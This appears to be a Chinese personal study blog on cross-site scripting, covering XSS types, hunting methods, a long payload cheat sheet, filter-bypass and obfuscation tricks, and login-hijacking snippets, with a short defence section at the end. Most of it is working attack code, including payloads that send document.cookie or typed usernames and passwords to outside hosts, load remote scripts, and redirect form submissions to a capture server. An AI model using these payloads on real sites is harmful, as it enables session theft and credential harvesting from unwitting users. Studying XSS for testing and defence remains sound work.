再不学xss就要被学弟狠狠超了:(
xss是代码注入的一种 ,它允许攻击者将恶意代码注入到前端页面上
然后其他用户在浏览网页的时候就会受到影响
本质就是攻击者在web端插入了恶意的script代码(可能是css、js脚本或者是其他),当受害者访问这种页面的时候,就会执行其中的恶意代码,获取到用户的session、token、cookies等
xss的危害:
盗取身份信息,窃取会话Cookie 从而窃取网站用户隐私、包括账户、浏览历史、IP等
未授权操作,通过JS发起敏感操作 请求
按键记录和钓鱼
更广泛的蠕虫传播,借助网站进行传播,使网站的使用用户受到攻击。
劫持用户会话,从而知悉任意操作,比如弹窗跳转、篡改页面、网页挂马。
这个敏感操作包括但不限于修改密码、创建工单等
XSS的分类
xss有三种分类:
反射型和DOM型是非持久型xss攻击,而存储型是持久型xss攻击
反射型xss
payload不会存储到数据库中,一般会出现在查询页面
输入内容直接返回的参数都可能存在xss
攻击对于受害者而言是一次性的
攻击者会诱导受害者点击恶意url,点击之后由于url包含了恶意js脚本,这些脚本就会直接在受害者的主机上的浏览器执行
恶意代码并没有保存在网站,而web端也只是将这个js脚本反射回受害者的浏览器并执行了相应的脚本
流程:
攻击者准备好恶意url(有payload),发送给用户
用户点击链接
web服务将xss代码返回给用户
客户端执行xss代码,将信息发送到了攻击者的服务中
攻击者就可以读取用户的信息
一图流:
存储型xss
将payload放在了数据库里,一般出现在会将数据存储到数据库并展示在前端页面的功能
如注册页,留言板等功能
存储型xss先将payload存储在数据库中,然后当下一次数据库从中取出数据直接将其展示在前端的时候,页面将会执行xss攻击用户
存储型xss的危害会更大,因为他将恶意代码上传或者存储到了服务器当中,只要是个访问了包含这段恶意代码的页面的用户就可能会被xss攻击
攻击流程:
攻击者向web服务插入xss payload
然后web服务会将其存储到数据库
用户访问web服务
web服务会将数据库中的数据以及视图返回给前端,前端渲染并加载。其中包含有xss payload
此时xss代码被加载,客户端执行xss代码并向攻击者服务器发送敏感信息
攻击者读取受害者的敏感信息
DOM型xss
不与后端交互、payload不存到数据库中,属于反射型的一种
但是他是通过dom操作来产生问题
发掘较困难
DOM叫Document Object Model
能够使程序和脚本动态访问和更新文档的内容、结构、样式
客户端的脚本可以动态地检查和修改页面内容,无需依赖服务端。客户端从url中提取数据并在本地执行
如果用户在客户端输入的数据包含了恶意js脚本,并且没有被过滤的话,就会导致DOM型xss
和反射型xss不同的是,dom型无需向web服务发送请求,而是直接在浏览器执行。需要注意用户的输入源:document.URL
、location.hash
、location.search
、document.referrer
等
攻击流程:
攻击者发送恶意url
用户点击恶意链接,打开浏览器
直接在浏览器客户端执行xss
此时将xss的结果发送给攻击者的恶意服务
攻击者访问xss平台,获取敏感信息
xss的区别:
反射型
存储型
DOM型
攻击对象
需要攻击者主动寻找受害者并诱导其访问
广撒网,只要有用户访问对应的页面就会触发,危害性更大,范围更广
需要攻击者主动寻找受害者并诱导其访问(同反射型)
持久性
一次性
只要服务器不宕机,payload不被手动删除,就一直存在
一次性
触发点
网站中直接返回参数内容的功能点
网站中将数据直接存储到数据库中,后直接返回数据在前端展示的功能点
取决于DOM节点
反射型xss中,返回的html包含了恶意payload
而DOM型没有包含恶意payload
xss与csrf
xss:
主要加载js代码,在客户端执行
不一定要经过后端,主要需要客户端执行xss代码
DOM型xss只对浏览器客户端发起攻击
xss是针对用户的攻击
csrf:
欺骗服务器,虽然由用户发起,但服务器无法判断是否是用户想要发起的请求
一定会经过后端处理,否则无法执行
csrf用于伪造身份,实行对服务器的欺骗
挖掘xss
一般可以通过输入一些常见的标签,例如h1
,img
等进行确认
直接返回输入内容的可能存在反射型xss
在页面中进行特定渲染的可能存在DOM型
存储到数据库的可能存在存储型xss
有时候可以将返回页面的关键词进行一些拼接:
1 2 3 4 <script > var imgErrorLen=0 ; </script > <input type ="hidden" name ="ie" value ="utf-8" >
例如上面这个就可以构造mgErrorLen=<h1>123</h1>&ie=<h1>123</h1>
可以构造一个xss的fuzz字典(
白盒的时候
看一下接受信息的方式$_GET
、$_POST
、$_REQUEST
等,检查这些方式接受的信息有没有输出到页面中,输出到页面中的数据是否进行了过滤和html编码处理
搜索类似echo
等输出语句,然后追踪输出变量的来源等。根据来源检查是否可控。存到数据库的时候有没有过滤等
大多数程序会对接收到的参数封装在公共文件的函数中统一调用
搜索一些js操作dom元素的关键词进行审计
(dom型其实就是利用js脚本的xss,比如某个function里面一个拼接操作,你只需要闭合一下前面的再添加自己的xss)
常见xss业务场景
评论区、留言区、个人订单、信息反馈等 这些是重灾区
站内私信、意见反馈等 这些是针对型
搜索框、头像链接、图片属性、目录这些可能回存在问题
常见payload
Cross-Site Scripting (XSS) Cheat Sheet - 2024 Edition | Web Security Academy (portswigger.net)
一个速查表
fuzz字符:
基础payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 <--`<img/src=` onerror=confirm``> --!> <Details Open OnToggle =co\u006efirm `XSS `> <SCRIPT SRC =http://damit5.kiwi/xss.js > </SCRIPT > <SVG ONLOAD =alert(1) > <a href =1 onmouseover =alert(1) > nmask</a > <a href ="javascript:confirm('xxx')" target ="_blank" rel ="nofollow" > 你可以点击我触发</a > <body onhashchange =a =alert,a(document.domain) > <body/onpageshow=alert(1)> <body onpageshow =alert(1) > <details/open/ontoggle=top["al"+"ert"](1)> <discard onbegin =[1].find(alert) > <iframe src =javascript:alert(1) > <img src /*sv =x */onerror =alert() > <img src onerror =alt ='' +document.domain > <img src ="X" onerror =(a =alert,b =document[ '\x63 \x6f \x6f \x6b \x69 \x65 '],a (b ))> <img src ="X" onerror =top[8680439..toString(30)](1337) > <img src ="x:alert" onerror ="eval(src+'(0)')" > <img src =# onerror =a =alert,a(1) > <img src =0 onerror =confirm( '1 ')> <img src =1 onmouseover =alert(1) > <img src =x onerror =setInterval `alert \x28document.domain \x29 `> <img src =x onerror =setTimeout `alert \x28document.cookie \x29 `> <img src =x:alert(alt) onerror =eval(src) alt =0 > <img/src/onerror=alert(1)> <input class ="" name ="roots" id ="roots" type ="text" value =1 onfocus =alert(11) autofocus => <input type ="hidden" name ="returnurl" value ="" accesskey ="X" onclick ="alert(document.domain)" /> <input type =text autofocus /onfocus ='prompt(1);' /> //<marquee onstart =alert(1) > <video autoplay onloadstart ="alert()" src =x > </video > <video autoplay controls onplay ="alert()" > <source src ="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4" > </video > <video controls onloadeddata ="alert()" > <source src ="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4" > </video > <video controls onloadedmetadata ="alert()" > <source src ="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4" > </video > <video controls onloadstart ="alert()" > <source src ="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4" > </video > <video controls onloadstart ="alert()" > <source src =x > </video > <video controls oncanplay ="alert()" > <source src ="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4" > </video > <audio autoplay controls onplay ="alert()" > <source src ="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4" > </audio > <audio autoplay controls onplaying ="alert()" > <source src ="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4" > </audio > <marquee loop =1 onFinish ='alert(1)' > 123</marquee > <noscript > <p title ="</noscript><img src=x onerror=alert(1)>" > <object data ="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=" > <script > a=prompt;a(1)</script > : </script > <embed/embed/embed/src=https://14.rs> <script > alert ("xss" );;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script > <script > window .a ==1 ?1 :prompt (a=1 )</script > <svg/onload="[]['\146\151\154\164\145\162']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164\50\61\51')()"> <svg/onload=[document.cookie].find(alert)> <svg/onload=alert( 1) > <svg/onload=alert(1)> <svg/onload=top['al\145rt'](1)> <svg/onload=top[/al/.source+/ert/.source](1)> <x/oncut=alert(1)>a <iframe/src="data:text/ html;	 base64">
 ,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=="> <object data ="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=" > <svg id ="rectangle" xmlns ="http://www.w3.org/2000/svg" xmlns:xlink ="http://www.w3.org/1999/xlink" width ="100" height ="100" > <a xlink:href ="javascript:alert(location)" > <rect x ="0" y ="0" width ="100" height ="100" /> </a > </svg > <svg > <use xlink:href ="data:image/svg+xml;base64,PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+DQo8YSB4bGluazpocmVmPSJqYXZhc2NyaXB0OmFsZXJ0KGxvY2F0aW9uKSI+PHJlY3QgeD0iMCIgeT0iMCIgd2lkdGg9IjEwMCIgaGVpZ2h0PSIxMDAiIC8+PC9hPg0KPC9zdmc+#rectangle" /> </svg > <embed src =javascript:alert(1) > <embed src ="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type ="image/svg+xml" AllowScriptAccess ="always" > </embed > <body onload ="window.open('http://xxx:7777/'+document.cookie)" > </body > <embed src ="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" > </embed >
挑几个比较常见的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <SCRIPT SRC =http://damit5.kiwi/xss.js > </SCRIPT > <SVG ONLOAD =alert(1) > <SVG ONLOAD ="window.open('xxx'+document.cookie)" > </svg > <a href =1 onmouseover =alert(1) > nmask</a > <a href ="javascript:confirm('xxx')" target ="_blank" rel ="nofollow" > 你可以点击我触发</a > <iframe src =javascript:alert(1) > <img src /*sv =x */onerror =alert() > <img src onerror =alt ='' +document.domain > <img src ="X" onerror =(a =alert,b =document[ '\x63 \x6f \x6f \x6b \x69 \x65 '],a (b ))> <img src =1 onmouseover =alert(1) > <svg/onload=alert(1)> <body onload ="window.open('http://xxx:7777/'+document.cookie)" > </body > <script > doucment.location .href ='xxx' +document .cookie </script > <iframe onload ="xxx" > </iframe >
总之就是src或者onload()
一些基于事件的跳转:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 onclick=document.write(document.cookie) self[Object.keys(self)[5]]("foo") // alert("foo") constructor.constructor(alert(1)) eval('alert(1)') [1].find(alert); [self.alert(1)] top['al\x65rt'](2); top["al"+"ert"](3); setTimeout('ale'+'rt(4)'); Function("ale"+"rt(5)")(); new Function`al\ert\`6\``; setInterval('ale'+'rt(7)'); top[/al/.source+/ert/.source](9); open('java'+'script:ale'+'rt(10)'); top[8680439..toString(30)](8); // 使用parseInt("alert",30)生成 self[9350252032..toString(30)](1) // confirm(1)
一些事件,比如onclick,onerror可以使用
一些伪协议:
如果url跳转的地址可控,且存在于<a>
标签中,可以利用伪协议进行xss
对,xss中也有伪协议
1 2 3 4 <image/src=| onerror = javascript:alert(111)> <image/src=| onerror = javascript:alert(111)>
1 2 javascript://www.baidu.com/%E2%80%A8alert(1) javascript:location.href='http://127.0.0.1:8999/username='+document.getElementsByName('username')[1]._value+'&password='+document.getElementsByName('password')[1]._value
markdown xss
1 2 3 4 5 6 7 8 [a](javascript:prompt(document.cookie)) [a](j a v a s c r i p t:prompt(document.cookie)) <javascript:alert('XSS')> ![a'"`onerror=prompt(document.cookie)](x) [notmalicious](javascript:window.onerror=alert;throw%20document.cookie) [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=) ![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=) ...
xml xss
1 2 <x:script xmlns:x ="http://www.w3.org/1999/xhtml" > alert(1)</x:script > <x:script xmlns:x ="http://www.w3.org/1999/xhtml" src ="//brutelogic.com.br/1.js" />
获取cookie:
1 2 3 4 5 6 7 8 9 10 <img src =x onerror =with(document)body.appendChild(document.createElement( 'script ')).src ="js地址" > </img > <img src =x onerror =eval(atob( 'cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwOi8vNjYuMTEyLjIxMy43Njo4MS9CbHVlTG90dXNfWFNTUmVjZWl2ZXIvdGVtcGxhdGUvZGVmYXVsdC5qcyc ='))> <img src="x" onerror="$.getScript(' http: //x.xsslog.cn /xxxxx ')"> <img/src/onerror=this.src='//baidu.com/?'+document.cookie> <img/src/onerror=a=document;> <img/src/onerror=s=a.createElement('script');> <img/src/onerror=body.appendChild(s);> <img/src/onerror=s.src='https://vxss.cc/r7K6'> <svg/onload="document.location='http://72sf9a.ceye.io/?'+document.cookie">
一些登录劫持手法
适用于某些登录页面存在xss,通过特殊js代码获取到账号密码。
1 2 3 4 5 6 7 8 9 10 11 12 <!-- 输入就弹窗,初始代码 --> <input name="ccc" type="text" id="1" size="20" /><br /> <script> var input = document.getElementById('1' ) input.oninput = function(){ alert(input.value); } </script> <!-- 输入就弹窗,缩一行 --> <input name="ccc" type="text" id="xxx" size="20" /><br /> <svg/onload="var input = document.getElementById('xxx');input.oninput = function(){alert(input.value);}" >
可以将其改成跳转
修改action:
1 2 3 4 5 6 7 8 <form action ="xxx.php" method ="post" id ="sss" > <input type ="text" name ="xxx" id ="xxx" > <input type ="submit" > </form > <svg/onload="var form1 = document.getElementById('sss');form1.action = 'http://127.0.0.1/out.php';"> <svg/onload="var form1 = document.getElementsByTagName('form')[0];form1.action = 'http://127.0.0.1/out.php';">
按钮属性添加:
1 2 $(".news[type=submit]")[0].setAttribute("onclick", "alert("Password:" + document.getElementsByName('Password')[0].value)")
url跳转:
1 2 redirectUrl=javascript:location.href='http://127.0.0.1:8999/username='+document.getElementsByName('username')[1]._value+'&password='+document.getElementsByName('password')[1]._value
通过post请求获取:
xhr
1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 纯js请求获取token -> 正则表达式 <script > var xmlhttp = new XMLHttpRequest (); xmlhttp.open ("POST" ,"https://m.gm7.org/" ,true ); xmlhttp.withCredentials = true ; xmlhttp.send (); xmlhttp.onreadystatechange =function ( ) { if (xmlhttp.readyState ==4 && xmlhttp.status ==200 ) { alert (xmlhttp.responseText ); } } </script >
ajax:
1 2 3 4 5 6 7 8 9 10 <script> $.ajax({ url:'api/change.php', type:'post', data:{ p:'newpass' } }); </script>
XSS Bypass
常规手法:
编码
注释
大小写
双写
参数污染
超长垃圾数据
编码
xssor:https://evilcos.me/lab/xssor/
一个编码网站
利用这个xssor编码后用在on事件之后,也可以用在eval当中:
1 2 <svg/onload=alert(/xss/)> <script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029")</script>
html实体编码:alert()
进制:\x61\x6c\x65\x72\x74\x60\x78\x73\x73\x60
unicode:\u0061\u006c\u0065\u0072\u0074\u0060\u4e2d\u6587\u4e5f\u53ef\u4ee5\u0060
转义:就是单纯的:\'、\<、\>
1 2 <image/src=| onerror = javascript:alert(111)>
其他编码:
jsfuck:http://www.jsfuck.com/
jjencode:jjencode - Encode any JavaScript program using only symbols (utf-8.jp)
eval函数
1 2 3 4 5 6 7 8 十六进制 <script > eval ("\x61\x6c\x65\x72\x74\x28\x27\x78\x78\x78\x78\x27\x29" )</script > ASCII <img src ="javascript:alert(1)" onerror =eval(String.fromCharCode(97,108,101,114,116,40,39,120,120,122,122,39,41)) > 其他 <script > eval (String .\u0066\u0072\u006f\u006d\u0043\u0068\u0061\u0072\u0043\u006f\u0064\u0065 (0x61 ,0x6c ,0x65 ,0x72 ,0x74 ,0x28 ,0x31 ,0x29 ))</script >
绕过<过滤
可能可以通过一些特殊编码绕过:
fuzz:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 < %3C %253C %25253C < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < \x3c \x3C \u003c \u003C
关键词
1 2 document . cookie document/*xxx*/./*xxx*/cookie
这个是%09还是空格,都可以试试
空格
/**/
内联注释
1 <img st /**/src ="x" /**/onerror =alert(1) >
还有一个/
也可以替代空格:
1 <body/onload="window.open('xxxx'+document.cookie)"></body >
一些url编码
绕javascript伪协议
\r \n \t
1 2 3 4 5 6 javas\rcript:self[Object.keys(self)[6]](sessionStorage.getItem('_diskSessionId'))// // http://example.com/redirect?url=javascript:alert() document.location = 'javasc\tript:alert(123)' document.location = 'javasc\rript:alert(123)' document.location = 'javasc\nript:alert(123)'
绕括号
利用反引号
1 2 3 alert`1` prompt`${document .cookie} ` window .onerror =alert;throw 1
1 2 3 4 <img src =x onerror ="javascript:window.onerror=alert;throw 1" > <script type ="text/javascript" > window .onerror =alert;throw 1 </script > document.location.href='http://xxx:7777/'+document.cookie
绕长度限制
1 2 3 <script > eval (location.hash .substr (1 ));</script >
用户如果带上#xxxxx
来访问包含有这个恶意脚本的界面,就会执行xxxxx
的内容
使用 import('//domain/file')
,这个需要使用同样的协议,加载的js的响应头中的content-type
为application/javascript
而且允许跨域加载Access-Control-Allow-Origin: *
实战环境中的一些XSS小技巧 (qq.com)
使用一些特殊编码,例如: ㏕ -> mil | Ⅷ -> VIII | ㏒ -> log 等等… 比如<script/src=//⑭.₨>
,只有18个字符。其中₨
代表印度卢比,这是1个字符,而不是2个字符,而⑭
也是类似的效果。当受害者点击这个的时候会被跳转到14.rs
,而14.rs上放我们的恶意js脚本:
1 2 '';var msgbox;if(location.hash){eval(location.hash.slice(1))}else{alert(1)}//<img src ="xxx://" onerror ="if(location.hash){eval(location.hash.slice(1))}else{alert(1)}" > msgbox+1
更多的unicode字符:https://www.fuhaoku.net/danweifuhao/
利用JS全局变量绕过
1 2 3 4 5 6 7 window self _self this top parent frames
比如payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 window ["document" ]["cookie" ]window ["alert" ](window ["document" ]["cookie" ])self["alert" ](self["document" ]["cookie" ]) self["ale" +"rt" ](self["doc" +"ument" ]["coo" +"kie" ]) self["\x61\x6c\x65\x72\x74" ](self["\x64\x6f\x63\x75\x6d\x65\x6e\x74" ]["\x63\x6f\x6f\x6b\x69\x65" ]) self["\x65\x76\x61\x6c" ](self["\x61\x74\x6f\x62" ]("ZG9jdW1lbnQuY29va2ll" )) self["$" ]["globalEval" ]("alert(1)" ) c=0 ; for (i in self) { if (i == "alert" ) { console .log (c); } c++; } self[Object .keys (self)[5 ]]("foo" ) a=()=> {c=0 ;for (i in self){if (/^a[rel]+t$/ .test (i)){return c}c++}} self[Object .keys (self)[a ()]]("foo" )
一个字符转十六进制的脚本
1 2 3 4 5 6 7 8 9 10 import binasciiresult = [] a = input ("\t\t: " ) for i in a: result.append(binascii.b2a_hex(i.encode())) result = [i.decode() for i in result] result = "\\x" .join(result) print ("\\x" + result)
常规防御
字符
说明
|
西文竖线符号
&
& 符号
;
分号
$
美元符号
%
百分比符号
@
at 符号
’
单引号
"
引号
'
反斜杠转义单引号
"
反斜杠转义引号
<>
尖括号
()
括号
+
加号
CR
回车符,ASCII 0x0d
LF
换行,ASCII 0x0a
,
逗号
\
反斜杠
=
等号
验证用户的输入类型、长度、内容
比如要求的是整数,就用intval强转
比如需要手机号,就判断是否是11位的数字
如果数据内容是邮箱,就利用正则表达式匹配邮箱的组成
编码
1 2 3 4 5 6 & --> & < --> < > --> > " --> " ' --> ' / --> /
httponly
这个cookie禁止js读取某些敏感cookie,使得完成了xss也无法获得数据
http only无法完全防御xss漏洞,之规定了js不能够去获取cookie的内容
所以它只能够防御用于获取cookie的问题
httponly在某些情况下也能够获得cookie
比如apache的400情况下应答存在缺陷等
trace协议
CSP
不提了,这个csp把我橄榄了不知道多少次
csp本质就是白名单,告诉客户端哪些东西可以加载和执行
富文本编辑器XSS修复
富文本编辑器本身支持部分标签,也就是说如果它必须至少要支持<
和>
才能够进行正常使用
所以可以从以下几个方面来进行修复:
设置标签白名单,如仅允许<a>
、<img>
等必要标签
为白名单标签的属性设置白名单,例如<a>
只允许使用href
等
限制这些href
等属性内的输入,防止伪协议造成xss漏洞,禁止出现on.*
等事件属性,就比如下面这种
1 2 <iframe src =javascript:alert(1) > <a href ="javascript:confirm('xxx')" > </a >
URL可控
某些地方URL可控,所以利用javascript伪协议可以触发xss:
1 <a href="{xss payload}">Test</a>
修复方式:
验证url是否合法,以http(s)😕/开头,如果不是就自动添加或者拒绝请求
对http(s)😕/后的内容进行url编码处理
JSONP
可能会利用callback
函数修改xss语句导致xss漏洞
修复方式
1 Content-Type: application/json; charset=utf-8